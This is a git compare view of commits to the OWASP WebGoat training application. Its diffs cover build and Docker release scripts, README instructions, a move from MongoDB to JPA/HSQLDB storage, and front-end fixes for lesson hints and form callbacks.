Compare commits

..

50 Commits

Author SHA1 Message Date
58d4b81df2 Wrong image name mentioned in lesson for WebWolf 2018-04-11 20:22:19 +02:00
2ae1b4955f By default binds to ALL network interfaces #431
Fix for Docker not binding to any address by default
2018-01-30 07:18:05 +01:00
13a4b69cbe All lesson flags are displayed while running webgoat 8.0 standalone java file #430 2018-01-29 15:43:19 +01:00
98efc1235f By default binds to ALL network interfaces #431 2018-01-29 15:32:02 +01:00
b99b554522 Version: docker 8.0.0.M9 Multiple users can't finalize the same lesson #432 2018-01-29 15:29:48 +01:00
04ccf9a422 New release should create a new webgoat directory with version tag inside #423 2018-01-21 17:46:43 +01:00
ee11381a63 Fixed database issue mappings 2018-01-21 17:13:28 +01:00
2cc6c232e2 Added macro for asciidoc to produce the WebWolf link dynamically depending on configuration 2018-01-15 20:56:59 +01:00
dec55d52ca Replaced quotes with normal character (Version: 8.0.0.M5 Character Encoding Issues #411) 2018-01-14 13:22:28 +01:00
568fa82270 fixed ContentTypeAssignment and SimpleXXE to work with MacOSX 2018-01-13 16:00:11 +00:00
bad60c43c0 vagrant-training is where the vagrant file is 2018-01-13 15:55:42 +00:00
a6b9235711 SQL Error '-104' in XSS Lesson Page 7 #416 2018-01-10 12:48:45 +01:00
253a2f16ed Unable to see buttons like HTTP request parameters, the HTTP request cookies, and the Java source code #417 2018-01-10 12:04:28 +01:00
e801b0917d Unable to save email send to WebWolf #419 2018-01-10 09:19:20 +01:00
ae92ac6808 Changed the Vagrantfile to contain the correct release name
Deleted the Vagrant files for setting up dev environment, today it is
easy to setup the dev environment yourself to start working.
2018-01-09 12:42:57 +01:00
a9ac00a075 Clean up 2018-01-08 23:42:36 +01:00
0120c7c3a6 Updating README.md 2018-01-02 22:50:10 +01:00
5bbdb8893c Not making a Docker release is we build develop (putting a tag will create a release which is more a controlled/intuitive way to make a release to Docker)
(cherry picked from commit e3e7ed0)
2018-01-02 22:20:38 +01:00
05d8b590f3 Merge tag '8.0.0' into develop
Release 8.0.0
2017-12-30 16:52:24 +01:00
114fbc5760 Merge branch 'release/8.0.0' 2017-12-30 16:50:39 +01:00
32311a80da Updating readme 2017-12-30 16:25:10 +01:00
d3ee9431d8 Tagging latest Docker build with Travis as well 2017-12-30 14:13:34 +01:00
4811a9d563 Removed Mongodb, so we do not have issues with downloading the embedded Mongodb. Moved back to JPA and use HSQLDB for storing user information.
WebWolf now has its own user management (will move to separate Github repo)
2017-12-29 22:20:52 +01:00
c6e86861fe Removed Mongodb, so we do not have issues with downloading the embedded Mongodb. Moved back to JPA and use HSQLDB for storing user information. 2017-12-29 22:12:21 +01:00
b64aa43760 Updated bootstrap script to use webgoat-server for starting spring-boot 2017-12-28 00:27:25 +01:00
dd7f4074cd Added encoding for asciidoc 2017-12-28 00:16:16 +01:00
8c10000e4e Updating documentation for run of the sources 2017-11-23 03:01:09 +01:00
43b82027f5 Added more content for CSRF lesson 2017-11-22 01:34:05 +01:00
5eed385d5d When an adoc file cannot be found the complete lesson crashed, made it failsafe with a logging statement. 2017-11-17 07:08:24 +01:00
75d0405da1 Fixed XXE lesson the posting of the comments did not show up directly only after page refresh 2017-11-17 07:07:43 +01:00
157b982394 successFunction and failureFunction were selected by using the main form (so the succesFunction of the first assignment was used for the next assignment) not the currentForm we determined in onFormSubmit() function. 2017-11-17 07:06:56 +01:00
99048d6d9d Fixing failing Travis script 2017-11-16 06:00:11 +01:00
971f11534d Debugging failing Travis script 2017-11-16 05:56:13 +01:00
c06e4d462b Error in travis.yml 2017-11-16 05:32:42 +01:00
39029f604f Travis sets version 2017-11-16 05:29:26 +01:00
36fcb58caa Endpoints async for posting mail and landingpage 2017-11-16 04:43:14 +01:00
6c91e7dc8a Fixed WebWolf issues with sending e-mails 2017-11-15 11:58:31 +01:00
a543deca04 Travis without output 2017-11-02 22:27:07 +01:00
a11e6911cd Update and rename sol.txt to sol.MD
Add md syntax
2017-11-02 13:09:49 +01:00
5614cda0bf Update getting-started.MD 2017-11-02 13:09:23 +01:00
69d44aed5b Update and rename getting-started.txt to getting-started.MD
Change .txt to .md.
Add all the markdown syntax and fixed the xml syntax
2017-11-02 13:09:23 +01:00
f6911b49a7 Merge pull request #402 from misfir3/develop
more hints/helps cleanup
2017-10-30 09:03:03 -06:00
24cf806787 more hints/helps cleanup 2017-10-25 18:05:08 -06:00
1ac305e9b9 Merge pull request #399 from misfir3/develop
#351 - using listenToOnce to get rid of redundant calls
2017-10-25 17:13:11 -06:00
c6f1c5cd2a #351 - using listenToOnce to get rid of redundant calls 2017-10-25 17:11:54 -06:00
74218de135 Update README.MD 2017-10-25 21:43:58 +02:00
1f6d7fdc39 Update Java Version
Solves #385
2017-10-23 23:36:35 +02:00
cce1945f23 Fix Apt Error for Google Repository
See https://askubuntu.com/questions/724093/no-more-updates-for-google-chrome-apt-get-update-error
2017-10-23 23:35:40 +02:00
45d48a8776 Update README.MD 2016-12-23 15:58:09 +01:00
50904cf69b Adding Changelog
Adding Changelog file for WebGoat releases

Signed-off-by: Doug Morato <dm@corp.io>
2016-11-18 21:32:41 -05:00
101 changed files with 1571 additions and 835 deletions

5
.gitignore vendored
View File

@ -14,7 +14,8 @@
/.settings/org.eclipse.wst.validation.prefs
/.externalToolBuilders/
.project
/target
*/target/*
mongo-data/*
.classpath
.idea/
.settings/
@ -29,6 +30,7 @@ src/main/webapp/plugin_lessons/*.jar
src/main/webapp/users/*.props
classes/*
*.iml
pom.xml.versionsBackup
/*.iml
.extract/*
@ -39,3 +41,4 @@ webgoat-lessons/**/target
**/*.jar
**/.DS_Store
webgoat-server/mongo-data/*
webgoat-lessons/vulnerable-components/dependency-reduced-pom.xml

View File

@ -7,6 +7,7 @@ install: "/bin/true"
script:
- export BRANCH=$(if [ "$TRAVIS_PULL_REQUEST" == "false" ]; then echo $TRAVIS_BRANCH; else echo $TRAVIS_PULL_REQUEST_BRANCH; fi)
- echo "TRAVIS_BRANCH=$TRAVIS_BRANCH, PR=$PR, BRANCH=$BRANCH"
- if [ ! -z "${TRAVIS_TAG}" ]; then mvn versions:set -DnewVersion=${TRAVIS_TAG:1}; fi
- mvn clean install -q
cache:
directories:

29
CREATE_RELEASE.MD Normal file
View File

@ -0,0 +1,29 @@
## Release WebGoat
### Version numbers
For WebGoat we use milestone releases first before we release the official version, we use `v8.0.0.M3` while tagging
and 8.0.0.M3 in the `pom.xml`. When we create the final release we remove the milestone release and use
`v8.0.0` and 8.0.0 in the `pom.xml`
At the moment we use Gitflow, for a release you create a new release branch and take the following steps:
```
git checkout develop
git flow release start <version>
mvn versions:set <<version>
git commit -am "New release, updaing pom.xml"
git flow release publish
```
Now we can make a new release, be sure you committed all your changes.
```
git tag v8.0.0.M3
git push origin v8.0.0.M3
```
Now Travis takes over and will create the release in Github and on Docker Hub.

View File

@ -1,15 +1,11 @@
# WebGoat: A deliberately insecure Web Application
# WebGoat 8: A deliberately insecure Web Application
[![Build Status](https://travis-ci.org/WebGoat/WebGoat.svg?branch=develop)](https://travis-ci.org/WebGoat/WebGoat)
[![Coverage Status](https://coveralls.io/repos/WebGoat/WebGoat/badge.svg?branch=develop&service=github)](https://coveralls.io/github/WebGoat/WebGoat?branch=master)
[![Codacy Badge](https://api.codacy.com/project/badge/b69ee3a86e3b4afcaf993f210fccfb1d)](https://www.codacy.com/app/dm/WebGoat)
[![Dependency Status](https://www.versioneye.com/user/projects/562da95ae346d7000e0369aa/badge.svg?style=flat)](https://www.versioneye.com/user/projects/562da95ae346d7000e0369aa)
[![OWASP Labs](https://img.shields.io/badge/owasp-labs-orange.svg)](https://www.owasp.org/index.php/OWASP_Project_Inventory#tab=Labs_Projects)
# Important
This is the development version of WebGoat 8, if you are looking for a released stable version please go to: https://github.com/WebGoat/WebGoat/wiki/Running-WebGoat
[![OWASP Labs](https://img.shields.io/badge/owasp-lab%20project-f7b73c.svg)](https://www.owasp.org/index.php/OWASP_Project_Inventory#tab=Labs_Projects)
[![GitHub release](https://img.shields.io/github/release/WebGoat/WebGoat.svg)](https://github.com/WebGoat/WebGoat/releases/latest)
# Introduction
@ -68,6 +64,20 @@ Download the latest WebWolf release from [https://github.com/WebGoat/WebGoat/rel
java -jar webgoat-server-<<version>>.jar
```
By default WebGoat starts at port 8080 in order to change this use the following property:
```Shell
java -jar webgoat-server-<<version>>.jar --server.port=9090
```
You can specify one of the following arguments when starting WebGoat:
```Shell
java -jar webgoat-server-<<version>>.jar --server.port=9090 --server.address=x.x.x.x
```
This will start WebGoat on a different port and/or different address.
## 3. Run from the sources
@ -88,20 +98,22 @@ Now let's start by compiling the project.
```Shell
cd WebGoat
git checkout develop
git checkout <<branch_name>>
mvn clean install
```
Now we are ready to run the project. WebGoat 8.x is using Spring-Boot.
```Shell
mvn -pl webwolf spring-boot:run
mvn -pl webgoat-server spring-boot:run
```
... you should be running webgoat on localhost:8080/WebGoat momentarily
To change IP addresss add the following variable to WebGoat/webgoat-container/src/main/resources/application.properties file
```server.address=x.x.x.x
To change IP address add the following variable to WebGoat/webgoat-container/src/main/resources/application.properties file
```
server.address=x.x.x.x
```
# Vagrant
@ -109,7 +121,7 @@ To change IP addresss add the following variable to WebGoat/webgoat-container/sr
We supply a complete development environment using Vagrant, to run WebGoat with Vagrant you must first have Vagrant and Virtualbox installed.
```shell
$ cd WebGoat/webgoat-images/vagrant-users
$ cd WebGoat/webgoat-images/vagrant-training
$ vagrant up
```
@ -119,6 +131,8 @@ The source code will be available in the home directory.
# Building a new Docker image
NOTE: Travis will create a new Docker image automatically when making a new release.
WebGoat now has Docker support for x86 and ARM (raspberry pi).
### Docker on x86
On x86 you can build a container with the following commands:

View File

@ -1,31 +1,11 @@
version: '2.0'
services:
activemq:
image: webcenter/activemq:latest
ports:
- 8161:8161
- 61616:61616
- 61613:61613
mongo:
image: mongo:latest
expose:
- "27017"
volumes:
- './mongo-data:/data/db'
webgoat:
build: webgoat-server/
command: "sh /home/webgoat/start.sh"
ports:
- "8080:8080"
depends_on:
[mongo, activemq]
environment:
WG_MONGO_PORT: 27017
WG_MONGO_HOST: mongo
WG_MQ_HOST: activemq
WG_MQ_PORT: 61616
WG_INTERNAL_MONGO: "false"
webwolf:
build: webwolf/
command: "sh /home/webwolf/start.sh"
@ -33,8 +13,3 @@ services:
- webgoat
ports:
- "8081:8081"
environment:
WG_MONGO_PORT: 27017
WG_MONGO_HOST: mongo
WG_MQ_HOST: activemq
WG_MQ_PORT: 61616

View File

@ -20,7 +20,7 @@
<parent>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-parent</artifactId>
<version>1.5.5.RELEASE</version>
<version>1.5.9.RELEASE</version>
</parent>
<licenses>

View File

@ -4,6 +4,7 @@ docker login -u $DOCKER_USER -p $DOCKER_PASS
export REPO=webgoat/webgoat-8.0
cd webgoat-server
ls target/
if [ "${BRANCH}" == "master" ] && [ ! -z "${TRAVIS_TAG}" ]; then
# If we push a tag to master this will update the LATEST Docker image and tag with the version number
@ -11,10 +12,28 @@ if [ "${BRANCH}" == "master" ] && [ ! -z "${TRAVIS_TAG}" ]; then
docker push $REPO
elif [ ! -z "${TRAVIS_TAG}" ]; then
# Creating a tag build we push it to Docker with that tag
docker build --build-arg webgoat_version=${TRAVIS_TAG:1} -f Dockerfile -t $REPO:${TRAVIS_TAG} .
docker build --build-arg webgoat_version=${TRAVIS_TAG:1} -f Dockerfile -t $REPO:${TRAVIS_TAG} -t $REPO:latest .
docker push $REPO
elif [ "${BRANCH}" == "develop" ]; then
docker build -f Dockerfile -t $REPO:snapshot .
#elif [ "${BRANCH}" == "develop" ]; then
# docker build -f Dockerfile -t $REPO:snapshot .
# docker push $REPO
else
echo "Skipping releasing to DockerHub because it is a build of branch ${BRANCH}"
fi
export REPO=webgoat/webwolf
cd ..
cd webwolf
ls target/
if [ "${BRANCH}" == "master" ] && [ ! -z "${TRAVIS_TAG}" ]; then
# If we push a tag to master this will update the LATEST Docker image and tag with the version number
docker build --build-arg webwolf_version=${TRAVIS_TAG:1} -f Dockerfile -t $REPO:latest -t $REPO:${TRAVIS_TAG} .
docker push $REPO
elif [ ! -z "${TRAVIS_TAG}" ]; then
# Creating a tag build we push it to Docker with that tag
docker build --build-arg webwolf_version=${TRAVIS_TAG:1} -f Dockerfile -t $REPO:${TRAVIS_TAG} -t $REPO:latest .
docker push $REPO
else
echo "Skipping releasing to DockerHub because it is a build of branch ${BRANCH}"

File diff suppressed because one or more lines are too long

Binary file not shown.

Before

Width:  |  Height:  |  Size: 16 KiB

View File

@ -36,16 +36,6 @@
</profiles>
<dependencyManagement>
<dependencies>
<dependency>
<groupId>de.flapdoodle.embed</groupId>
<artifactId>de.flapdoodle.embed.mongo</artifactId>
<version>2.0.0</version>
</dependency>
</dependencies>
</dependencyManagement>
<build>
<resources>
<resource>
@ -127,7 +117,7 @@
</dependency>
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-data-mongodb</artifactId>
<artifactId>spring-boot-starter-data-jpa</artifactId>
</dependency>
<dependency>
<groupId>org.apache.commons</groupId>
@ -202,12 +192,6 @@
<version>${junit.version}</version>
<type>jar</type>
</dependency>
<dependency>
<groupId>com.github.fakemongo</groupId>
<artifactId>fongo</artifactId>
<version>2.1.0</version>
<scope>test</scope>
</dependency>
<!-- ************* END: Dependencies for Unit and Integration Testing ************** -->
<!-- ************* END: <dependencies> ************** -->
</dependencies>

View File

@ -32,7 +32,10 @@ package org.owasp.webgoat;
import com.google.common.collect.Maps;
import com.google.common.collect.Sets;
import lombok.extern.slf4j.Slf4j;
import org.asciidoctor.Asciidoctor;
import org.asciidoctor.extension.JavaExtensionRegistry;
import org.owasp.webgoat.asciidoc.WebWolfMacro;
import org.owasp.webgoat.i18n.Language;
import org.thymeleaf.TemplateProcessingParameters;
import org.thymeleaf.resourceresolver.IResourceResolver;
@ -41,6 +44,7 @@ import org.thymeleaf.templateresolver.TemplateResolver;
import java.io.*;
import java.util.Map;
import static org.apache.commons.lang3.CharEncoding.UTF_8;
import static org.asciidoctor.Asciidoctor.Factory.create;
/**
@ -50,6 +54,7 @@ import static org.asciidoctor.Asciidoctor.Factory.create;
* <div th:replace="doc:AccessControlMatrix_plan.adoc"></div>
* </code>
*/
@Slf4j
public class AsciiDoctorTemplateResolver extends TemplateResolver {
private static final Asciidoctor asciidoctor = create();
@ -73,11 +78,18 @@ public class AsciiDoctorTemplateResolver extends TemplateResolver {
@Override
public InputStream getResourceAsStream(TemplateProcessingParameters params, String resourceName) {
InputStream is = readInputStreamOrFallbackToEnglish(resourceName, language);
try {
try (InputStream is = readInputStreamOrFallbackToEnglish(resourceName, language)) {
if (is == null) {
log.warn("Resource name: {} not found, did you add the adoc file?", resourceName);
return new ByteArrayInputStream(new byte[0]);
} else {
StringWriter writer = new StringWriter();
JavaExtensionRegistry extensionRegistry = asciidoctor.javaExtensionRegistry();
extensionRegistry.inlineMacro("webWolfLink", WebWolfMacro.class);
asciidoctor.convert(new InputStreamReader(is), writer, createAttributes());
return new ByteArrayInputStream(writer.getBuffer().toString().getBytes());
return new ByteArrayInputStream(writer.getBuffer().toString().getBytes(UTF_8));
}
} catch (IOException e) {
//no html yet
return new ByteArrayInputStream(new byte[0]);

View File

@ -23,11 +23,5 @@ public class CleanupLocalProgressFiles {
@PostConstruct
public void clean() {
File dir = new File(webgoatHome);
//do it safe, check whether the subdir mongodb is available as subdirectory
File[] mongoDir = dir.listFiles(f -> f.isDirectory() && f.getName().contains("mongodb"));
if (mongoDir != null && mongoDir.length == 1) {
FileSystemUtils.deleteRecursively(dir);
}
}
}

View File

@ -0,0 +1,25 @@
package org.owasp.webgoat.asciidoc;
import org.springframework.beans.BeansException;
import org.springframework.context.ApplicationContext;
import org.springframework.context.ApplicationContextAware;
import org.springframework.core.env.Environment;
import org.springframework.stereotype.Component;
/**
* Make environment available in the asciidoc code (which you cannot inject because it is handled by the framework)
*/
@Component
public class EnvironmentExposure implements ApplicationContextAware {
private static ApplicationContext context;
public static Environment getEnv() {
return context.getEnvironment();
}
@Override
public void setApplicationContext(ApplicationContext applicationContext) throws BeansException {
context = applicationContext;
}
}

View File

@ -0,0 +1,36 @@
package org.owasp.webgoat.asciidoc;
import org.asciidoctor.ast.AbstractBlock;
import org.asciidoctor.extension.InlineMacroProcessor;
import org.springframework.core.env.Environment;
import org.springframework.util.StringUtils;
import org.springframework.web.context.request.RequestContextHolder;
import org.springframework.web.context.request.ServletRequestAttributes;
import javax.servlet.http.HttpServletRequest;
import java.util.Map;
public class WebWolfMacro extends InlineMacroProcessor {
public WebWolfMacro(String macroName, Map<String, Object> config) {
super(macroName, config);
}
@Override
protected String process(AbstractBlock parent, String target, Map<String, Object> attributes) {
Environment env = EnvironmentExposure.getEnv();
String hostname = determineHost(env.getProperty("webwolf.host"), env.getProperty("webwolf.port"));
return "<a href=\"" + hostname + "\" target=\"_blank\">" + target + "</a>";
}
/**
* Look at the remote address from received from the browser first. This way it will also work if you run
* the browser in a Docker container and WebGoat on your local machine.
*/
private String determineHost(String host, String port) {
HttpServletRequest request = ((ServletRequestAttributes) RequestContextHolder.currentRequestAttributes()).getRequest();
String ip = request.getRemoteAddr();
String hostname = StringUtils.hasText(ip) ? ip : host;
return "http://" + hostname + ":" + port + "/WebWolf";
}
}

View File

@ -55,7 +55,7 @@ public abstract class AssignmentEndpoint extends Endpoint {
//// TODO: 11/13/2016 events better fit?
protected AttackResult trackProgress(AttackResult attackResult) {
UserTracker userTracker = userTrackerRepository.findOne(webSession.getUserName());
UserTracker userTracker = userTrackerRepository.findByUser(webSession.getUserName());
if (userTracker == null) {
userTracker = new UserTracker(webSession.getUserName());
}

View File

@ -1,7 +1,9 @@
package org.owasp.webgoat.lessons;
import com.google.common.collect.Lists;
import lombok.*;
import javax.persistence.*;
import java.util.List;
/**
@ -33,16 +35,30 @@ import java.util.List;
* @version $Id: $Id
* @since November 25, 2016
*/
@AllArgsConstructor
@RequiredArgsConstructor
@NoArgsConstructor
@Getter
@EqualsAndHashCode
@Entity
public class Assignment {
@NonNull
@Id
@GeneratedValue(strategy = GenerationType.AUTO)
private Long id;
private String name;
@NonNull
private String path;
@Transient
private List<String> hints;
private Assignment() {
//Hibernate
}
public Assignment(String name, String path) {
this(name, path, Lists.newArrayList());
}
public Assignment(String name, String path, List<String> hints) {
this.name = name;
this.path = path;
this.hints = hints;
}
}

View File

@ -73,7 +73,7 @@ public class LessonMenuService {
List<LessonMenuItem> showLeftNav() {
List<LessonMenuItem> menu = new ArrayList<>();
List<Category> categories = course.getCategories();
UserTracker userTracker = userTrackerRepository.findOne(webSession.getUserName());
UserTracker userTracker = userTrackerRepository.findByUser(webSession.getUserName());
for (Category category : categories) {
LessonMenuItem categoryItem = new LessonMenuItem();

View File

@ -40,7 +40,7 @@ public class LessonProgressService {
@RequestMapping(value = "/service/lessonprogress.mvc", produces = "application/json")
@ResponseBody
public Map getLessonInfo() {
UserTracker userTracker = userTrackerRepository.findOne(webSession.getUserName());
UserTracker userTracker = userTrackerRepository.findByUser(webSession.getUserName());
LessonTracker lessonTracker = userTracker.getLessonTracker(webSession.getCurrentLesson());
Map json = Maps.newHashMap();
String successMessage = "";
@ -63,7 +63,7 @@ public class LessonProgressService {
@RequestMapping(value = "/service/lessonoverview.mvc", produces = "application/json")
@ResponseBody
public List<LessonOverview> lessonOverview() {
UserTracker userTracker = userTrackerRepository.findOne(webSession.getUserName());
UserTracker userTracker = userTrackerRepository.findByUser(webSession.getUserName());
AbstractLesson currentLesson = webSession.getCurrentLesson();
List<LessonOverview> result = Lists.newArrayList();
if ( currentLesson != null ) {

View File

@ -64,7 +64,7 @@ public class ReportCardService {
@GetMapping(path = "/service/reportcard.mvc", produces = "application/json")
@ResponseBody
public ReportCard reportCard() {
UserTracker userTracker = userTrackerRepository.findOne(webSession.getUserName());
UserTracker userTracker = userTrackerRepository.findByUser(webSession.getUserName());
List<AbstractLesson> lessons = course.getLessons();
ReportCard reportCard = new ReportCard();
reportCard.setTotalNumberOfLessons(course.getTotalOfLessons());

View File

@ -59,7 +59,7 @@ public class RestartLessonService {
AbstractLesson al = webSession.getCurrentLesson();
log.debug("Restarting lesson: " + al);
UserTracker userTracker = userTrackerRepository.findOne(webSession.getUserName());
UserTracker userTracker = userTrackerRepository.findByUser(webSession.getUserName());
userTracker.reset(al);
userTrackerRepository.save(userTracker);
}

View File

@ -7,6 +7,7 @@ import lombok.Getter;
import org.owasp.webgoat.lessons.AbstractLesson;
import org.owasp.webgoat.lessons.Assignment;
import javax.persistence.*;
import java.util.List;
import java.util.Map;
import java.util.Optional;
@ -44,16 +45,23 @@ import java.util.stream.Collectors;
* @version $Id: $Id
* @since October 29, 2003
*/
@Entity
public class LessonTracker {
@Id
@GeneratedValue(strategy = GenerationType.AUTO)
private Long id;
@Getter
private String lessonName;
@OneToMany(cascade = CascadeType.ALL, fetch = FetchType.EAGER)
private final Set<Assignment> solvedAssignments = Sets.newHashSet();
private final List<Assignment> allAssignments = Lists.newArrayList();
@OneToMany(cascade = CascadeType.ALL, fetch = FetchType.EAGER)
private final Set<Assignment> allAssignments = Sets.newHashSet();
@Getter
private int numberOfAttempts = 0;
protected LessonTracker() {
//Mongo
private LessonTracker() {
//JPA
}
public LessonTracker(AbstractLesson lesson) {

View File

@ -38,7 +38,7 @@ public class Scoreboard {
List<WebGoatUser> allUsers = userRepository.findAll();
List<Ranking> rankings = Lists.newArrayList();
for (WebGoatUser user : allUsers) {
UserTracker userTracker = userTrackerRepository.findOne(user.getUsername());
UserTracker userTracker = userTrackerRepository.findByUser(user.getUsername());
rankings.add(new Ranking(user.getUsername(), challengesSolved(userTracker)));
}
return rankings;

View File

@ -15,7 +15,7 @@ import javax.validation.constraints.Size;
public class UserForm {
@NotNull
@Size(min=6, max=10)
@Size(min=6, max=20)
private String username;
@NotNull
@Size(min=6, max=10)

View File

@ -1,6 +1,6 @@
package org.owasp.webgoat.users;
import org.springframework.data.mongodb.repository.MongoRepository;
import org.springframework.data.jpa.repository.JpaRepository;
import java.util.List;
@ -8,7 +8,7 @@ import java.util.List;
* @author nbaars
* @since 3/19/17.
*/
public interface UserRepository extends MongoRepository<WebGoatUser, String> {
public interface UserRepository extends JpaRepository<WebGoatUser, String> {
WebGoatUser findByUsername(String username);

View File

@ -2,14 +2,16 @@
package org.owasp.webgoat.users;
import com.google.common.collect.Lists;
import com.google.common.collect.Sets;
import lombok.extern.slf4j.Slf4j;
import org.owasp.webgoat.lessons.AbstractLesson;
import org.owasp.webgoat.lessons.Assignment;
import org.springframework.data.annotation.Id;
import javax.persistence.*;
import java.util.List;
import java.util.Map;
import java.util.Optional;
import java.util.Set;
import java.util.stream.Collectors;
@ -44,11 +46,17 @@ import java.util.stream.Collectors;
* @since October 29, 2003
*/
@Slf4j
@Entity
public class UserTracker {
@Id
private final String user;
private List<LessonTracker> lessonTrackers = Lists.newArrayList();
@GeneratedValue(strategy = GenerationType.AUTO)
private Long id;
private String user;
@OneToMany(cascade = CascadeType.ALL, fetch = FetchType.EAGER)
private Set<LessonTracker> lessonTrackers = Sets.newHashSet();
private UserTracker() {}
public UserTracker(final String user) {
this.user = user;

View File

@ -1,12 +1,13 @@
package org.owasp.webgoat.users;
import org.springframework.data.mongodb.repository.MongoRepository;
import org.springframework.data.jpa.repository.JpaRepository;
/**
* @author nbaars
* @since 4/30/17.
*/
public interface UserTrackerRepository extends MongoRepository<UserTracker, String> {
public interface UserTrackerRepository extends JpaRepository<UserTracker, String> {
UserTracker findByUser(String user);
}

View File

@ -1,13 +1,14 @@
package org.owasp.webgoat.users;
import lombok.Getter;
import org.springframework.data.annotation.Id;
import org.springframework.data.annotation.Transient;
import org.springframework.security.core.GrantedAuthority;
import org.springframework.security.core.authority.SimpleGrantedAuthority;
import org.springframework.security.core.userdetails.User;
import org.springframework.security.core.userdetails.UserDetails;
import javax.persistence.Entity;
import javax.persistence.Id;
import javax.persistence.Transient;
import java.util.Collection;
import java.util.Collections;
@ -16,6 +17,7 @@ import java.util.Collections;
* @since 3/19/17.
*/
@Getter
@Entity
public class WebGoatUser implements UserDetails {
public static final String ROLE_USER = "WEBGOAT_USER";

View File

@ -3,6 +3,10 @@ server.error.path=/error.html
server.session.timeout=600
server.contextPath=/WebGoat
server.port=8080
server.address=127.0.0.1
spring.datasource.url=jdbc:hsqldb:file:${webgoat.server.directory}/data/webgoat
spring.jpa.hibernate.ddl-auto=update
logging.level.org.springframework=WARN
@ -17,8 +21,8 @@ spring.resources.cache-period=0
spring.thymeleaf.cache=false
webgoat.clean=false
webgoat.server.directory=${user.home}/.webgoat/
webgoat.user.directory=${user.home}/.webgoat/
webgoat.server.directory=${user.home}/.webgoat-${webgoat.build.version}/
webgoat.user.directory=${user.home}/.webgoat-${webgoat.build.version}/
webgoat.build.version=@project.version@
webgoat.build.number=@build.number@
webgoat.email=webgoat@owasp.org
@ -28,21 +32,15 @@ webgoat.feedback.address.html=<A HREF=mailto:webgoat@owasp.org>webgoat@owasp.org
webgoat.database.driver=org.hsqldb.jdbcDriver
webgoat.database.connection.string=jdbc:hsqldb:mem:{USER}
webgoat.default.language=en
webgoat.embedded.mongo=${WG_INTERNAL_MONGO:true}
webwolf.host=${WEBWOLF_HOST:localhost}
webwolf.port=${WEBWOLF_PORT:8081}
webwolf.url=http://${webwolf.host}:${webwolf.port}/WebWolf
webworf.url.landingpage=http://${webwolf.host}:${webwolf.port}/landing
webworf.url.mail=http://${webwolf.host}:${webwolf.port}/mail
webwolf.url.mail=http://${webwolf.host}:${webwolf.port}/mail
spring.jackson.serialization.indent_output=true
spring.jackson.serialization.write-dates-as-timestamps=false
spring.data.mongodb.host=${WG_MONGO_HOST:localhost}
spring.data.mongodb.port=${WG_MONGO_PORT:27017}
spring.data.mongodb.database=webgoat
spring.mongodb.embedded.storage.databaseDir=${webgoat.user.directory}/mongodb/
#For static file refresh ... and faster dev :D
spring.devtools.restart.additional-paths=webgoat-container/src/main/resources/static/js,webgoat-container/src/main/resources/static/css

View File

@ -74,7 +74,7 @@ define(['jquery',
this.loadLesson = function(name,pageNum) {
if (this.name === name) {
this.listenTo(this.lessonHintView, 'hints:showButton', this.onShowHintsButton);
this.listenToOnce(this.lessonHintView, 'hints:showButton', this.onShowHintsButton);
this.listenTo(this.lessonHintView, 'hints:hideButton', this.onHideHintsButton);
this.lessonContentView.navToPage(pageNum);
this.lessonHintView.hideHints();
@ -102,12 +102,13 @@ define(['jquery',
hasSource:this.lessonInfoModel.get('hasSource')
});
this.listenTo(this.helpControlsView,'hints:show',this.showHints);
this.listenTo(this.helpControlsView,'hints:show',this.showHintsView);
this.listenTo(this.helpControlsView,'lesson:restart',this.restartLesson);
this.listenTo(this.developerControlsView, 'dev:labels', this.restartLesson);
this.helpControlsView.render();
this.showHintsView();
this.titleView.render(this.lessonInfoModel.get('lessonTitle'));
};
@ -180,8 +181,13 @@ define(['jquery',
// }
// };
this.showHints = function() {
this.showHintsView = function() {
this.lessonHintView.render();
if (this.lessonHintView.getHintsCount > 0) {
this.helpControlsView.showHintsButton();
} else {
this.helpControlsView.hideHintsButton();
}
};
this.restartLesson = function() {

View File

@ -126,6 +126,10 @@ function($,
} else {
this.$el.find('#show-prev-hint').css('visibility','visible');
}
},
getHintsCount: function () {
return this.collection.length;
}
});

View File

@ -45,7 +45,6 @@ define(['jquery',
this.$el.find('.attack-feedback').hide();
this.$el.find('.attack-output').hide();
this.makeFormsAjax();
//this.ajaxifyAttackHref();
$(window).scrollTop(0); //work-around til we get the scroll down sorted out
var startPageNum = this.model.get('pageNum');
this.initPagination(startPageNum);
@ -86,6 +85,8 @@ define(['jquery',
var prepareDataFunctionName = $(curForm).attr('prepareData');
var callbackFunctionName = $(curForm).attr('callback');
var submitData = (typeof webgoat.customjs[prepareDataFunctionName] === 'function') ? webgoat.customjs[prepareDataFunctionName]() : $(curForm).serialize();
var successCallBackFunctionName = $(curForm).attr('successCallback');
var failureCallbackFunctionName = $(curForm).attr('failureCallback');
var callbackFunction = (typeof webgoat.customjs[callbackFunctionName] === 'function') ? webgoat.customjs[callbackFunctionName] : function() {};
// var submitData = this.$form.serialize();
this.curForm = curForm;
@ -104,19 +105,18 @@ define(['jquery',
//complete: function (data) {
//callbackFunction(data);
//}
}).then(self.onSuccessResponse.bind(self), self.onErrorResponse.bind(self));
}).then(function(data){
self.onSuccessResponse(data, failureCallbackFunctionName, successCallBackFunctionName)}, self.onErrorResponse.bind(self));
return false;
},
onSuccessResponse: function(data) {
onSuccessResponse: function(data, failureCallbackFunctionName, successCallBackFunctionName) {
this.renderFeedback(data.feedback);
this.renderOutput(data.output || "");
var successCallBackFunctionName = this.$form.attr('successCallback');
var failureCallbackFunctionName = this.$form.attr('failureCallback');
//var submitData = (typeof webgoat.customjs[prepareDataFunctionName] === 'function') ? webgoat.customjs[prepareDataFunctionName]() : $(curForm).serialize();
successCallbackFunction = (typeof webgoat.customjs[successCallBackFunctionName] === 'function') ? webgoat.customjs[successCallBackFunctionName] : function() {};
failureCallbackFunction = (typeof webgoat.customjs[failureCallbackFunctionName] === 'function') ? webgoat.customjs[failureCallbackFunctionName] : function() {};
var successCallbackFunction = (typeof webgoat.customjs[successCallBackFunctionName] === 'function') ? webgoat.customjs[successCallBackFunctionName] : function() {};
var failureCallbackFunction = (typeof webgoat.customjs[failureCallbackFunctionName] === 'function') ? webgoat.customjs[failureCallbackFunctionName] : function() {};
//TODO: refactor back assignmentCompleted in Java
if (data.lessonCompleted || data.assignmentCompleted) {
this.markAssignmentComplete();
@ -146,14 +146,6 @@ define(['jquery',
return false;
},
ajaxifyAttackHref: function() { // rewrite any links with hrefs point to relative attack URLs
var self = this;
// instruct in template to have links returned with the attack-link class
